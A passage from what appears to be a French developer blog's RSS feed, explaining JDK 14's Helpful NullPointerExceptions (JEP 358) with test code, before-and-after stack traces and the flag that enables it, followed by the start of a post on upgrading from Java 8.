&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#liens_supplémentaires&quot;&gt;Liens supplémentaires :&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;contexte&quot; class=&quot;sect0&quot;&gt;Contexte&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En suivant l&amp;#8217;actualité du projet OpenJDK, j&amp;#8217;ai remarqué qu&amp;#8217;une nouvelle JEP (JDK Enhancement Proposals) a été accepté pour être inclus dans la version 14 du JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
Targeted to JDK 14: JEP 358: Helpful NullPointerExceptions : &lt;a href=&quot;http://openjdk.java.net/jeps/358&quot;&gt;openjdk.java.net/jeps/358&lt;/a&gt; #jdk14 #openjdk #java
&lt;/blockquote&gt;
&lt;div class=&quot;attribution&quot;&gt;
&amp;#8212; &lt;a href=&quot;http://openjdk.java.net&quot;&gt;OpenJDK&lt;/a&gt;&lt;br&gt;
&lt;cite&gt;sur &lt;a href=&quot;https://twitter.com/OpenJDK/status/1179533128475365378&quot;&gt;Twitter&lt;/a&gt; (2 octobre 2019)&lt;/cite&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une proposition de plus, mais son petit nom ne me laisse pas indiférent. C&amp;#8217;est la &lt;a href=&quot;http://openjdk.java.net/jeps/358&quot;&gt;Helpful NullPointerExceptions&lt;/a&gt;, cela pourrait se traduire par  NullPointerException utile. Qu&amp;#8217;est ce qui se cache dernière ce nom.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, quel developpeur Java n&amp;#8217;a pas été confronté à un &lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/lang/NullPointerException.html&quot;&gt;NullPointerException&lt;/a&gt; sur son poste de dévellopement ou en production ?&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Initialement, pour illustrer cet article, j&amp;#8217;étais parti sur une trace quelconque d&amp;#8217;un NullPointerException. Mais, j&amp;#8217;ai pu rencontré un cas concret qui m&amp;#8217;a permis de voir un vrai cas  d&amp;#8217;école. Je le présente ci-dessous :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;DEBUG [org.apereo.cas.web.support.CookieRetrievingCookieGenerator] - &amp;lt;null&amp;gt;
java.lang.NullPointerException: null
        at org.apereo.cas.web.support.EncryptedCookieValueManager.obtainCookieValue(EncryptedCookieValueManager.java:35) ~[cas-server-core-cookie-api-5.3.6.jar:5.3.6]
        at org.apereo.cas.web.support.CookieRetrievingCookieGenerator.retrieveCookieValue(CookieRetrievingCookieGenerator.java:148) ~[cas-server-core-cookie-api-5.3.6.jar:5.3.6]
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_40]
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_40]
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_40]
        at java.lang.reflect.Method.invoke(Method.java:497) ~[?:1.8.0_40]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De plus, comme tout exception, il est normalement possible d&amp;#8217;avoir un message.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Returns the detail message string of this throwable.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Returns:&lt;/strong&gt;
    the detail message string of this Throwable instance (which may be null).&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;attribution&quot;&gt;
&amp;#8212; getMessage&lt;br&gt;
&lt;cite&gt;Extrait de la Javadoc&lt;/cite&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Mais comme d&amp;#8217;habiture, nous obtenons le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;java.lang.NullPointerException: null&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La seule information que nous avons pour l&amp;#8217;instant est que cela se passe sur la &lt;strong&gt;ligne 35&lt;/strong&gt;. En regardant le code, nous avons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;34:    public final String obtainCookieValue(final Cookie cookie, final HttpServletRequest request) {

35:        final String cookieValue = cipherExecutor.decode(cookie.getValue(), new Object[]{}).toString();

36:        LOGGER.debug(&quot;Decoded cookie value is [{}]&quot;, cookieValue);
37:        if (StringUtils.isBlank(cookieValue)) {
38:            LOGGER.debug(&quot;Retrieved decoded cookie value is blank. Failed to decode cookie [{}]&quot;, cookie.getName());
39:            return null;
40:        }
41:
42:        return obtainValueFromCompoundCookie(cookieValue, request);
43:    }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sans plus d&amp;#8217;information, nous avons plusieurs possibilités sur cette ligne :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Soit l&amp;#8217;attribut &lt;strong&gt;cipherExecurtor&lt;/strong&gt; est null,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Soit le paramètre &lt;strong&gt;cookie&lt;/strong&gt; est null,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Soit la méthode &lt;strong&gt;decode(&amp;#8230;&amp;#8203;)&lt;/strong&gt; renvoie null.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h1 id=&quot;mise_en_pratique&quot; class=&quot;sect0&quot;&gt;Mise en pratique&lt;/h1&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;premier_test&quot;&gt;Premier test&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Passons à la mise en pratique, pour cela, nous allons commencer par un code simple&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;    @Test (expected=NullPointerException.class)
    public void testSimple() {
        try {
            String str = null;

            str.length();

        } catch (NullPointerException e) {
            e.printStackTrace();
            throw e;
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je vous l&amp;#8217;accorde, c&amp;#8217;est facile même l&amp;#8217;IDE me dit : la variable &lt;strong&gt;str est null&lt;/strong&gt;. Mais voyons ensemble le résultat obtenu.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;On commence par faire tourner avec un JDK classique. En l&amp;#8217;occurence, je prends un JDK 11. Voici le message obtenu (classique et malheureusement bien connu)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;-------------------------------------------------------
 T E S T S
-------------------------------------------------------
Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTest
java.lang.NullPointerException
        at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTest.testSimple(NullPointerExceptionHelpulTest.java:11)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En utilisant un JDK intégrant cette fonctionnalité, nous obtenons le message suivant:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;-------------------------------------------------------
 T E S T S
-------------------------------------------------------
Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTest
java.lang.NullPointerException: &apos;str&apos; is null. Can not invoke method &apos;int java.lang.String.length()&apos;.
	at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTest.testSimple(NullPointerExceptionHelpulTest.java:11)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:567)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le message est déjà plus clair.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exemple_plus_concret&quot;&gt;Exemple plus concret&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons la méthode suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public boolean isVide(StringHolder holder) {
        return (holder.getChaine().length() &amp;gt; 0);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si je lance le test avec un JDK 11, nous obtenons le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest
java.lang.NullPointerException
        at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest.isVide(NullPointerExceptionHelpulHolderTest.java:19)
        at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest.testHolder(NullPointerExceptionHelpulHolderTest.java:11)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous sommes déjà sur un cas plus délicat. Nous avons deux possibilités :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;soit le paramètre &lt;strong&gt;holder&lt;/strong&gt; est null&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;soit la méthode &lt;strong&gt;holder.getChaine()&lt;/strong&gt; renvoie null&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, on obtient un message très clair avec la nouvelle fonctionnalité:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest
java.lang.NullPointerException: The return value of &apos;java.lang.String fr.lbenoit.billets.codes_sources.StringHolder.getChaine()&apos; is null. Can not invoke method &apos;int java.lang.String.length()&apos;.
	at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest.isVide(NullPointerExceptionHelpulHolderTest.java:19)
	at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulHolderTest.testHolder(NullPointerExceptionHelpulHolderTest.java:11)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;lecture_du_message&quot;&gt;Lecture du message&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En réalité, le message est décomposé en deux partie:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;la première partie est la raison du NullPointerException.&lt;/p&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
The return value of &apos;java.lang.String fr.lbenoit.billets.codes_sources.StringHolder.getChaine()&apos; is null
&lt;/blockquote&gt;
&lt;div class=&quot;attribution&quot;&gt;
&amp;#8212; c&apos;est le retour de la méthode getChaine() qui renvoie null
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;La seconde est la conséquence de l&amp;#8217;exception.&lt;/p&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
Can not invoke method &apos;int java.lang.String.length()&apos;
&lt;/blockquote&gt;
&lt;div class=&quot;attribution&quot;&gt;
&amp;#8212; nous ne pourrons pas appeler la méthode length()
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;précision_sur_le_message&quot;&gt;Précision sur le message&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les tests ont été réalisés avec le prototype de mars 2019. Il est disponible sur la branche &lt;a href=&quot;http://hg.openjdk.java.net/jdk/sandbox/shortlog/acdec92db672&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP-8220715-NPE_messages&lt;/a&gt;
Cependant, dans le cadre de la JEP, les deux parties du message seront inversées. Cela donnera le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
Can not invoke method &apos;int java.lang.String.length()&apos; because The return value of &apos;java.lang.String fr.lbenoit.billets.codes_sources.StringHolder.getChaine()&apos; is null
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exemple_avec_les_tableaux&quot;&gt;Exemple avec les tableaux&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons le cas de manipulation de tableau, en ligne 17, nous avons la ligne suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;17:     tab[i][j][k] = 25;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En lançant le test avec un JDK 11, nous obtenons le message suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTableauTest
java.lang.NullPointerException
        at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTableauTest.testTableau(NullPointerExceptionHelpulTableauTest.java:17)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En regardant le code, nous nous posons la question sur l&amp;#8217;origine :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;soit c&amp;#8217;est &lt;strong&gt;tab&lt;/strong&gt; qui est null&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;soit c&amp;#8217;est &lt;strong&gt;tab[i]&lt;/strong&gt; qui est null&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;soit c&amp;#8217;est &lt;strong&gt;tab[i][j]&lt;/strong&gt; qui est null&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Là encore, la réponse est très claire avec un JDK incluant cette fonctionnalité&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&apos;tab[i][j]&apos; is null. Can not store to null int array.
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En replaçant le message dans la pile d&amp;#8217;appel, nous obtenons la trace suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;-------------------------------------------------------
 T E S T S
-------------------------------------------------------
Running fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTableauTest
java.lang.NullPointerException: &apos;tab[i][j]&apos; is null. Can not store to null int array.
	at fr.lbenoit.billets.codes_sources.NullPointerExceptionHelpulTableauTest.testTableau(NullPointerExceptionHelpulTableauTest.java:17)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;activation&quot;&gt;Activation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans la cas de la réalisation de cette fonctionnalité, il faut noter qu&amp;#8217;elle ne sera pas activée par défaut. Deux raisons sont avancées :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Fuite d&amp;#8217;informations dans les traces&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Impact sur les parseurs des journaux.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc pour l&amp;#8217;activer, il faudra ajouter l&amp;#8217;option suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;XX:{+|-}ShowCodeDetailsInExceptionMessages&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Elle sera activée par défaut dans une prochaine version.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;approfondissement&quot;&gt;Approfondissement&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En étudiant la proposition d&amp;#8217;évolution, nous pouvons voir que l&amp;#8217;exception peut provoquer en réalité plusieurs conséquences :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Ne peux pas charger un élément du tableau ( &quot;Cannot load from &amp;lt;element type&amp;gt; array&quot; )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne peux pas lire la longueur du tableau ( &quot;Cannot read the array length&quot; )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne peux pas enregister l&amp;#8217;élément du tableau ( &quot;Cannot store to &amp;lt;element type&amp;gt; array&quot; )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne peux pas lever une exception ( &quot;Cannot throw exception&quot; )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne peux pas lire un attribut ( &quot;Cannot read field &apos;&amp;lt;field name&amp;gt;&apos;&quot; )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne peux pas appeler une méthode ( &quot;Cannot invoke &apos;&amp;lt;method&amp;gt;&apos;&quot; )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne peux pas entrer dans un bloc synchronisé ( &quot;Cannot enter synchronized block&quot; )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne peux pas sortir d&amp;#8217;un bloc synchronisé ( &quot;Cannot exit synchronized block&quot; )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne peux pas affecter l&amp;#8217;attribut ( &quot;Cannot assign field &apos;&amp;lt;field name&amp;gt;&apos;&quot; )&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;comment_tester&quot;&gt;Comment tester ?&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le projet java contenant les cas de tests présentées dans ce billet est disponible sur github.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lilian-benoit/billets-codes-sources/tree/master/2019/10/NullPointerExceptionHelpful&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Dépôt GitHUB billets-codes-sources&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;références&quot; class=&quot;sect0&quot;&gt;Références&lt;/h1&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/OpenJDK/status/1179533128475365378&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Annonce Twitter&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/358&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 358&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8220715&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fiche associée à la JEP 358&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://hg.openjdk.java.net/jdk/sandbox/shortlog/acdec92db672&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Branche JEP-8220715-NPE_messages&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://cr.openjdk.java.net/~goetz/wr19/8218628-exMsg-NPE/14/output_with_debug_info.txt&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Résultat des tests&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;liens_supplémentaires&quot;&gt;Liens supplémentaires :&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/jdk-dev/2019-September/003343.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Annonce de la proposition&lt;/a&gt; sur la liste de diffusion jdk-dev&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/jdk-dev/2019-October/003369.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Proposition acceptée&lt;/a&gt; sur la liste de diffusion jdk-dev&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>&quot;Java 11, 12 sont sortis et bientôt le 13, c est le moment de remplacer son JDK 8&quot; - ParisJUG</title>
      <link>https://www.lilian-benoit.fr/2019/09/java11-12-13_c_est_le_moment_de_changer_son_jdk8.html</link>
      <pubDate>mar., 10 sept. 2019 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2019/09/java11-12-13_c_est_le_moment_de_changer_son_jdk8.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;voici_le_sujet&quot;&gt;Voici le sujet&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 11 est sorti en septembre dernier, estampillé LTS (Long Term Support),&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 12 est sorti en mars dernier,&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 13 va sortir la semaine prochaine, soit le 17 septembre 2019&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Que de changement depuis Java 8 ?&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nouvelle sortie de Java tous les 6 mois&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Notion de LTS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Java 9 et ses fameux modules&lt;/p&gt;
